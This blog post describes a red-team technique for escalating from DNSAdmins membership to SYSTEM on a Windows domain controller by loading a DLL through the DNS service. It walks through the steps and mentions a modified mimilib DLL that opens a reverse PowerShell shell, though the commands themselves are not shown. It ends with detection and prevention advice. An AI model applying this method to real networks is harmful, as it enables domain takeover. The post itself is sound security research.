Wednesday, May 10, 2017

Abusing DNSAdmins privilege for escalation in Active Directory

UPDATE (November 2021) - After more than 4 years, Microsoft has acknowledged this is as a vulnerability and released a patch. This is now CVE-2021-40469!
Yesterday, I read this awesome post by Shay Ber here which details a feature abuse in Windows Active Directory (AD) environment.  I rely heavily on feature abuse during my red team engagements and always recommend them over memory corruption exploits during my training as well. Feature abuses are as lethal as exploits and are almost always ignored.

The post details a feature abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server. Since, many enterprise setups use the Domain Controller (DC) as a DNS server as well, this is a very interesting find. Let's try to  see the practical usage of this feature.

This is the lab setup. We have initial access as a normal domain user (labuser) on one of the boxes in our lab AD.

Let's first enumerate users who are part of the DNSAdmins group using PowerView.
In a real red team or pentest, the next step would be to target the buildadmin user. We can find a box where token of buildadmin is available using Invoke-UserHunter from PowerView.
To keep the discussion on the topic at hand, let's assume that we found a box where a ticket of buildadmin is available and our current user (labuser) has local admin access as well (derivative admin). So, we have privileges of the user who is a member of the DNSAdmins group.

Now, there could be two scenarios - one where the DC is the DNS server as well and second, where a separate server acts as the DNS server.

For the first scenario, where the DNS Server service is running on the DC we can simply use dnscmd as mentioned in the post by Shay to load a dll. There is also a PowerShell module - dnsserver - for this but it is not well documented.

Before we discuss the dll to be used, there is a catch which the above referenced post didn't address. If we have a look at the MS-DNSP protocol specification, the ServerLevelPluginDll needs an absolute pathname. That means, it is not possible to load a DLL from a UNC path. We must load the DLL from the local machine. I tried UNC paths, HTTP etc. without any success. This actually spoils the attack to much extent as we will need write privileges on the DC :/ I actually though of not writing this post after discovering this but decided to write it anyway so that others do not spend time looking for the same thing. Also, that is how one learns :) I will be glad if someone smarter than me finds out a way to do this remotely.

UPDATE: Benjamin confirmed that it is possible to load the DLL from UNC path. The 'C$' in my UNC path was the problem!

We can use the below command to load the DLL. The path \\ops-build\dll should be readable by the DC:
For debugging (admin rights required on the target), below command can be used to check if DLL was added successfully on the target

Now, since our user is a part of the DNSAdmins, we can restart the DNS service. While, this is NOT the default configuration, it makes sense for such a user to have the rights to restart the DNS service. But, the service restart must be done from the local box, that is, DC in the current scenario. We need administrator rights to do it remotely  - the attack gets more typical and hard to execute :(

So what do we get after successfully executing the above commands? Benjamin quickly updated mimilib to be used with this attack. The updated version of mimilib when used in this attack logs all DNS queries to C:\Windows\system32\kiwidns.log
We can make changes to kdns.c to include capability of command execution. I included a simple line of code to execute a reverse PowerShell shell encoded using Invoke-Encode from Nishang. The payload gets executed for each query to the DNS service and the kiwidns.log will still be created and populated.
On our listener:
Neat! SYSTEM on the domain controller. We own this domain and possibly the entire forest :D

For our second scenario, if DNS service was not running on the DC we can still get SYSTEM access on the box with 'only' the privileges of DNSAdmins and restarting the DNS service.

How to detect the attack? 

To prevent the attack, audit ACL for write privilege to DNS server object and membership of DNSAdmins group. 

Obvious indicators like DNS service restart and couple of log entries:
DNS Server Log Event ID 150 for failure and 770 for success

Microsoft-Windows-DNS-Server/Audit Log Event ID 541 for both success and failure.
Monitoring changes to HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll will also help.

Hope you liked the post. Please leave feedback and comments.